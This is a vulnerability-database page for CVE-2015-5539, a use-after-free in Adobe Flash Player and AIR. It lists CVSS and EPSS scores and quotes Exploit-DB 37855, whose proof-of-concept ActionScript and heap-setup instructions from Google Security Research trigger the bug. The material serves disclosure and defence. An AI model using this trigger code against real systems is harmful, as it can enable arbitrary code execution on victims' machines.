CVE-2015-5539

EPSS

53.11%V4

Vector

Network

Published

2015-08-13
23h00 +00:00

Modified

2018-01-04
18h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5130, CVE-2015-5134, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	10		AV:N/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	87.56%	–	–
2023-03-12	–	–	–	80.3%	–
2023-04-02	–	–	–	77.4%	–
2023-05-07	–	–	–	76.38%	–
2023-06-11	–	–	–	71.12%	–
2023-08-13	–	–	–	71.99%	–
2023-09-17	–	–	–	75.84%	–
2023-10-15	–	–	–	77.51%	–
2023-11-19	–	–	–	81.58%	–
2023-12-17	–	–	–	82.17%	–
2024-04-21	–	–	–	81.44%	–
2024-06-02	–	–	–	81.44%	–
2024-12-22	–	–	–	57.85%	–
2025-02-09	–	–	–	56.06%	–
2025-01-19	–	–	–	57.85%	–
2025-02-16	–	–	–	56.06%	–
2025-03-18	–	–	–	–	53.11%
2025-03-18	–	–	–	–	53.11,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	1%
2023-03-12	98%
2023-04-02	98%
2023-05-07	98%
2023-06-11	98%
2023-08-13	98%
2023-09-17	98%
2023-10-15	98%
2023-11-19	98%
2023-12-17	98%
2024-04-21	98%
2024-06-02	98%
2024-12-22	98%
2025-02-09	98%
2025-01-19	98%
2025-02-16	98%
2025-03-18	98%
2025-03-18	98%

Exploit information

Exploit Database EDB-ID : 37855

Publication date : 2015-08-18 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=360&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id In certain cases where a native AS2 class sets an internal atom to a value, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.uri, this issue occurs in several other A proof of concept is as follows: var s = SharedObject.getLocal("test"); ASSetPropFlags(s, null, 0, 0xff); ASSetPropFlags(s.data, null, 0, 0xff); var q = {myprop :"natalie", myprop2 : "test"}; var n = new NetConnection(); s.data.uri = q; trace("uri " + s.data.uri); s.flush(); ASnative(2100, 200)(s.data); trace("uri " + s.data.uri); n.connect.call(s.data, xx); trace(s.data.uri); s = 1; var a = []; var c = []; for(i = 0; i < 200; i++){ var b = new flash.display.BitmapData(1000, 1000, true, 10); } setInterval(f, 1000); function f(){ ASnative(252, 1).call(q); //Array push } A fla, an AS file and two swfs are attached. slot.fla compiles to setnum.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and slot.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37855.zip